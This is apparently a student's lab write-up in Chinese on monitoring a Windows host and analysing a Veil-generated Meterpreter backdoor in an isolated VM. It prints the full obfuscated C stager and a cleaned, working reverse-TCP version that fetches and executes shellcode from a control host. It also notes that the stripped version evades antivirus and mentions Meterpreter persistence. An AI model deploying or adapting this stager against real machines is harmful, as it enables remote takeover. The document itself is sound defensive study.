Exp4 恶意代码分析
0x1 系统运行监控
这次实验的第一部分是对自己的主机进行系统监控,尝试能否发现异常情况。
我的主机是windows 10家庭中文版,主要用来写作业,由于硬盘容量小,没有安装影音娱乐软件。我觉得应该发现不了什么问题。
结合windows计划任务与netstat命令
netstat是一个监控TCP/IP网络的非常有用的命令行工具,我们可以结合windows自带的计划任务,每5分钟执行netstat -bn
这条指令,并将结果重定向到一个txt文件当中。
-b
可显示在创建网络连接和侦听端口时所涉及的可执行程序,-n
显示所有已建立的有效连接。
我们先写出如下的批处理文件:
接着在“控制面板”中搜索“计划任务”,并创建新任务:
接着我们就看到计划任务成功创建好了,接着就是等待数据的收集了。
数据收集完毕后,我们得到的日志文件如下:
将它导入Excel表格中,通过数据分析日志内容:
我们看一下这期间,我到主机连接到的外部地址(除去127.0.0.1和内网地址)统计:
我发现222.28.152.201出现的次数最多,查一下这个IP的信息,应该没有什么问题:
然后看一下有那些进程访问网络吧:
不得不说,除了firefox浏览器, 迅雷对网络的访问量比较高。
使用sysmon监视系统
sysmon是由Windows Sysinternals出品的一款Sysinternals系列中的工具。它以系统服务和设备驱动程序的方法安装在系统上,并保持常驻性。sysmon用来监视和记录系统活动,并记录到windows事件日志,可以提供有关进程创建,网络链接和文件创建时间更改的详细信息。
首先给出配置文件,按照老师的要求,这次实验的配置文件中记录ProcessCreate, FileCreateTime, NetworkConnect:
对于Firefox浏览器,我们就不监控它的流量了。注意,这里的<Sysmon schemaversion="4.00">
,我下载的sysmon是这个版本,sysmon发现版本不对会给出提示信息,提示信息中就有版本信息。
安装好sysmon服务以后,我们可以看一下sysmon服务的状态,确认该服务已经开启了。
然后再“控制面板”中搜索“事件查看器”,在应用程序和服务日志/Microsoft/Windows/Sysmon/Operational
下可以看到日志:
随便点开一个事件看一下:
这是我电脑中的迅雷下载器,日志文件中记录了它的一次联网行为,应该是我在网上下载东西吧,下面还有目的地址的IP:
在网上看一下这个IP的归属地吧:
这个……我们在看一个迅雷的联网行为吧:
在看一下这个IP的归属地:
迅雷还有好多联网行为,我就不一一截图了……迅雷下载东西原来也是要满世界跑的,现在终于涨姿势了……
0x2 恶意软件分析
在系统中发现有问题的程序时,就应该着手对它进行分析。一般对恶意软件的分析都是在虚拟环境中执行的,为了避免其他进程的干扰,我将虚拟机设置为Host-only模式。
- 虚拟环境: windows 7 x64专业版 IP:192.168.56.101
- 后门远控端:Kali linux x64 IP:192.168.56.102
- 后门样本:Veil 3.1——c/windows/meterpreter/rev_tcp,程序名称可以绕过火绒安全软件
在线检测——virustotal
首先将后门程序veil_test.5.1.10.exe放到virustotal上,看一下生成的报告:
我们可以看到这个后门用到的动态链接库
- KERNEL32.dll控制着系统的内存管理、数据的输入输出操作和中断处理
- user32.dll是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息
- WS2_32.dll是Windows Sockets应用程序接口, 用于支持Internet和网络应用程序
- msvcrt.dll是微软在windows操作系统中提供的C语言运行库执行文件
动态分析1——使用TCPView工具
我们通过TCPView工具可以获取后门程序的网络连接信息,发现实验环境下攻击机的IP地址
但获取到的信息非常少,我们需要更多的信息,就要使用专业的抓包工具
但获取到的信息非常少,我们需要更多的信息,就要使用专业的抓包工具,比如wirehsark。(只可惜我不太会用,留下了这么一堆数据不会处理)
动态分析2——使用Process Explorer
Process Explorer可以实时监控计算机的进程状态,我们可以用它来看看Meterpreter进程迁移的行为。
首先运行后门程序,我们找到了它的进程:
接着我们准备把它迁移到notepad++.exe的进程中,还没迁移之前是notepad++.exe是这样的:
然后,我们把它迁移到notepad++.exe中去:
此时查看notepad++.exe中的各个线程
我们发现多了一个线程,这应该就是Meterpreter迁移到notepad++z中创建的新线程,把它KILL掉!!
Meterpreter没法工作了!我们的猜想是正确的!
动态分析3——使用systracer
systracer可以给计算机做快照,分析计算机文件,文件夹和注册表项目的改变。
这里我准备给系统做三个快照:
- 未开启后门程序
- 开启后门程序
- Meterpreter持久化后——run persistence
这是刚开启后门是Kali上的画面,我执行了sysinfo
命令:
做了快照以后,我执行run persistence
后渗透模块后kali的界面:
于是我们得到了三个不同的系统快照:
通过两两比较,我们发现了Meterpreter持久化需要上传的ZoajdcjX.vbs
事实上,火绒安全也发现了Meterpreter的持久化行为,可以看出杀毒软件厂商还是很强的:
专业的手工检测——火绒剑
火绒剑是火绒安全软件中的一个HIPS工具,可以监控系统,进程,服务,网络,注册表,文件,内核等等,功能相当强大,使用起来也比较方便。
我们开启火绒剑的监控:
我们很快发现后门程序veil_test.5.1.10.exe的行为已经被监控下来了。
对后门的动作还有详细的分析,这是刚开启后门的时候,后门连接Kail攻击机:
还能查看进程的调用栈
双击其中一个,甚至可以反汇编!!
我们可以看到后门程序的进程,安全状态为“未知文件”:
由于之前做了Meterpreter的持久化,我们用火绒剑查看系统服务:
很容易就发现了Meterpreter的后门持久服务的身影!
火绒剑是基于主机的IPS,只能做到基本的网络监控与防护:
总而言之,火绒安全是国产良心软件,真的非常良心(卸载360全家桶用火绒吧,笑……)
静态分析1——使用PEid查看加壳情况
PEid是一个非常强大的查壳软件,可以轻易检出超过470种外壳,并可检查程序的编程语言。
我们可以看到Veil生成的可执行文件是没有加壳的,因此分析起来会容易一些(但对咱们来说并没有什么区别,因为没有逆向的基础)
静态分析2——使用PE Explorer
网上的一些有逆向基础的同学会使用Ollydbg、IDA Pro这些比较专业的反汇编工具进行分析,我们没有这个本领,也就暂时不用这两个工具了。
PE Explorer是功能超强的可视化Delphi、C++、VB程序解析器,能快速对32位可执行程序进行反编译,并修改其中资源。
刚打开PE Explorer我们就会看到后门程序的头部信息。
我们还可以看到后门程序依赖的动态链接库:
更棒的就是反汇编功能了,我们可以看到程序中IP地址是“写死的”字符串常量,程序的入口点也能看到:
如果要使用反汇编,而且还有逆向基础的话,我觉得用专业的IDA Pro比较好,它有免费试用版可以下载。
后门程序的源代码分析
既然是恶意代码分析,只是观察后门程序的行为一点也不过瘾,但我们的水平也没法对后门进行逆向,所以分析源代码我觉得还是可以的。
如果是用Veil生成后门的话,我们是可以获得后门的源代码的!
刚开始我们看到的C语言源代码是这个样子的:
这个代码看来是经过混淆的,代码格式和变量名都非常“乱”。
我们先对代码进行格式化,得到稍微能看一点的源码:
#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <math.h>
#include <stdarg.h>
char* ELPhvnk(const char *t)
{
int length= strlen(t);
int i; char* t2 = (char*)malloc((length+1) * sizeof(char));
for(i=0;i<length;i++) {
t2[(length-1)-i]=t[i];
}
t2[length] = ' ';
return t2;
}
char* oxImsmwTbcn(char* s)
{
char *result = malloc(strlen(s)*2+1);
int i;
for (i=0; i<strlen(s)*2+1; i++) {
result[i] = s[i/2]; result[i+1]=s[i/2];
}
result[i] = ' ';
return result;
}
void cvNGKT() {
WORD XWPJfalPF = MAKEWORD((0*4+2), (0*4+2));
WSADATA diDuQXNFmNZTv;
if (WSAStartup(XWPJfalPF, &diDuQXNFmNZTv) < 0) {
WSACleanup();
exit(1);
}
}
char* IrhXxkpgdSirgmd() {
char *VTYrQkpq = ELPhvnk("dMjybHyCDGdyDYHjFxRJHePOysgMIrdtsPIJACQLjwQwMMaEHV");
return strstr( VTYrQkpq, "s" );
}
void JQQYIn(SOCKET dQQjjbD) {
closesocket(dQQjjbD);
WSACleanup();
exit(1);
}
char* HdzfoS() {
char NVGmZE[2940] = "xgqPMqbqLgbqKnTGxNOhRSTrPdNBDUuKKgxnvyybPjiAxSWLNg";
char *lCUrNPHXpM = strupr(NVGmZE);
return strlwr(lCUrNPHXpM);
}
int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl) {
int slfkmklsDSA=0;
int rcAmwSVM=0;
void * startb = mngpZHDHPakA;
while (rcAmwSVM < xMumRzycXl) {
slfkmklsDSA = recv(aNTeaiCAXmaMhX, (char *)startb, xMumRzycXl - rcAmwSVM, 0);
startb += slfkmklsDSA;
rcAmwSVM += slfkmklsDSA;
if (slfkmklsDSA == SOCKET_ERROR)
JQQYIn(aNTeaiCAXmaMhX);
}
return rcAmwSVM;
}
char* TEOHbyfIXj() {
char irQRqbMDFFOiV[2940], TQJodSedKcBQ[2940/2];
strcpy(irQRqbMDFFOiV,"SrZFbAxiwfQYtzUOXzcJNYrpCduFtWmwnFtzlLXPiOdlEzQfEw");
strcpy(TQJodSedKcBQ,"NMYmTVYYVDWVDLCEBprcyjeoiTZqfbtjDbRUFJXkLDdkXyycss");
return oxImsmwTbcn(strcat( irQRqbMDFFOiV, TQJodSedKcBQ));
}
SOCKET IpYbCHNOV() {
struct hostent * CADnJpvtGkADG;
struct sockaddr_in NCpJvOJAtp;
SOCKET YJZKAxHbFLbgOb;
YJZKAxHbFLbgOb = socket(AF_INET, SOCK_STREAM, 0);
if (YJZKAxHbFLbgOb == INVALID_SOCKET)
JQQYIn(YJZKAxHbFLbgOb);
CADnJpvtGkADG = gethostbyname("192.168.56.102");
if (CADnJpvtGkADG == NULL)
JQQYIn(YJZKAxHbFLbgOb);
memcpy(&NCpJvOJAtp.sin_addr.s_addr, CADnJpvtGkADG->h_addr, CADnJpvtGkADG->h_length);
NCpJvOJAtp.sin_family = AF_INET;
NCpJvOJAtp.sin_port = htons((567*9+7));
if ( connect(YJZKAxHbFLbgOb, (struct sockaddr *)&NCpJvOJAtp, sizeof(NCpJvOJAtp)) )
JQQYIn(YJZKAxHbFLbgOb);
return YJZKAxHbFLbgOb;
}
int main(int argc, char * argv[])
{
ShowWindow( GetConsoleWindow(), SW_HIDE );
ULONG32 GbMtxZMJpvUG;
char * AOnWmVQURLSv;
int i;
char* WRprInF[1160];
void (*LKMoAeoqcSLE)();
for (i = 0; i < 1160; ++i)
WRprInF[i] = malloc (9816);
cvNGKT();
char* GLEsyWODiOETsqn[6];
SOCKET PSWEfTlAWmQjz = IpYbCHNOV();
for (i = 0; i < 6; ++i)
GLEsyWODiOETsqn[i] = malloc (8388);
int MjrRXPBqQGgxTx = recv(PSWEfTlAWmQjz, (char *)&GbMtxZMJpvUG, (4*1+0), 0);
if (MjrRXPBqQGgxTx != (2*2+0) || GbMtxZMJpvUG <= 0)
JQQYIn(PSWEfTlAWmQjz);
AOnWmVQURLSv = VirtualAlloc(0, GbMtxZMJpvUG + (5*1+0), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* OMybsEGA[8773];
for (i=0; i<1160; ++i) {
strcpy(WRprInF[i], IrhXxkpgdSirgmd());
}
if (AOnWmVQURLSv == NULL)
JQQYIn(PSWEfTlAWmQjz);
AOnWmVQURLSv[0] = 0xBF;
memcpy(AOnWmVQURLSv + 1, &PSWEfTlAWmQjz, (4*1+0));
for (i = 0; i < 8773; ++i)
OMybsEGA[i] = malloc (7764);
for (i=0; i<6; ++i){
strcpy(GLEsyWODiOETsqn[i], HdzfoS());
}
MjrRXPBqQGgxTx = PaBVzZ(PSWEfTlAWmQjz, AOnWmVQURLSv + (5*1+0), GbMtxZMJpvUG);
LKMoAeoqcSLE = (void (*)())AOnWmVQURLSv;LKMoAeoqcSLE();
for (i=0; i<8773; ++i) {
strcpy(OMybsEGA[i], TEOHbyfIXj());
}
return 0;
}
用IDE一键格式化就能得到这样的结果,但这段代码依然很难读懂,这些变量名都非常奇怪,而且还有一些莫名其妙的字符串操作,实在让人头疼。
后来我经过一番探索,发现这些字符串的操作完全是多余的!,后门的基本功能完全不依赖与这些字符串操作!!
真正起作用的只要下面这些代码,这里贴出的代码我修改了变量名和函数名,让同学们能看懂,精简后的源码如下:
#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <math.h>
#include <stdarg.h>
/*
* 函数名:startupWSA()
* 作用:初始化WinSock服务
* 备注:对应veil原始程序中的void cvNGKT()函数
*
*/
void startupWSA()
{
WORD wVersionReq = MAKEWORD(2, 2);
WSADATA wsaData;
if (WSAStartup(wVersionReq, &wsaData) < 0) {
WSACleanup();
exit(1);
}
}
/*
* 函数名:closeSocket
* 作用:关闭套接字
* 备注:对应veil原始程序中的void JQQYIn(SOCKET dQQjjbD)函数
*
*/
void closeSocket(SOCKET sock)
{
closesocket(sock);
WSACleanup();
exit(1);
}
/*
* 函数名:recvPayload
* 作用:接受Meterpreter的payload
* 备注:对应veil原始程序的int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl)函数
*
*/
int recvPayload(SOCKET sock, void * payloadBuf, int size)
{
int recvLen=0;
int count=0;
void * startb = payloadBuf;
while (count < size) {
recvLen = recv(sock, (char *)startb, size - count, 0);
startb += recvLen;
count += recvLen;
if (recvLen == SOCKET_ERROR)
closeSocket(sock);
}
return count;
}
/*
* 函数名:createTCPSocket()
* 作用:创建socket套件字
* 备注:对应veil原始程序的SOCKET IpYbCHNOV()函数
*
*/
SOCKET createTCPSocket()
{
struct hostent * host;
struct sockaddr_in addr;
SOCKET sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCKET)
closeSocket(sock);
host = gethostbyname("192.168.56.102"); //控制端的IP地址
if (host == NULL)
closeSocket(sock);
memcpy(&addr.sin_addr.s_addr, host->h_addr, host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons((5110)); //控制端的端口号
if ( connect(sock, (struct sockaddr *)&addr, sizeof(addr)) )
closeSocket(sock);
return sock;
}
int main(int argc, char * argv[])
{
ULONG32 size;
char * payload;
void (*pfunc)();
//隐藏命令行窗口
ShowWindow( GetConsoleWindow(), SW_HIDE );
//创建套接字
startupWSA();
SOCKET sock = createTCPSocket();
int recvLen = recv(sock, (char *)&size, 4, 0);
if (recvLen != 4 || size <= 0)
closeSocket(sock);
//为payload申请空间
payload = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (payload == NULL)
closeSocket(sock);
payload[0] = 0xBF;
memcpy(payload + 1, &sock, 4);
//接收payload并执行
recvLen = recvPayload(sock, payload + 5, size);
pfunc = (void (*)())payload;
pfunc();
return 0;
}
这段精简化后的代码是可以使用的,我们在win7虚拟机下用mingw编译这个程序:
运行该程序,成功回连:
我不明白为啥Veil 3.1生成的C源代码要有多余的“字符串”分配和操作,难道是为了免杀吗?
提取核心部分的代码难道不能免杀吗?我们来看看:
至少火绒安全查不出来。
放到virustotal上看一下吧,效果还不错:
我不知道为啥Veil有那么多“多余的代码”,也许是为了免杀吧。虽然我没法独立写后门程序,对Veil生成的C源码了解个大概还是没问题的,可还有许多细节没有弄明白。
我想5253班上过刘念老师的网络编程的同学也能够大概了解这段源码了吧。
实验问题回答
(1) 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。
我需要监控如下方面
- 注册表
- 系统服务
- 开机启动项
- 文件创建
- 网络连接情况
前三个方面可以依赖“火绒剑”这个HIPS工具,至于网络连接情况的监控,专业一点的话就使用NIDS(基于网络的入侵检测系统),其实用Sysmon记录日志我觉得已经可以了
(2) 如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。
我觉得依然可以用HIPS(基于主机的入侵防御系统)获取信息,招不在新,管用就行。
当然也可以使用一些用途更加“专一”的工具进行针对性分析,比如用wireshark进行流量分析,Process explorer进行进程监控,Strings提取字符串,IDA Pro反汇编等等
实验总结与体会
我感觉分析日志文件、监控系统也是个技术活,从一大堆监控信息,数据流量中找到真正有用的信息并不是想象中的那么容易。
我之前还一直把恶意代码分析和逆向划约等号,现在看来这个想法有点肤浅了。
不过,我还是觉得有一些逆向和二进制分析方面的知识会让自己的技术层次提高一大截。
如果我的大学还能再读四年,我一定要掌握逆向分析技术的基本原理(但现在就算了吧)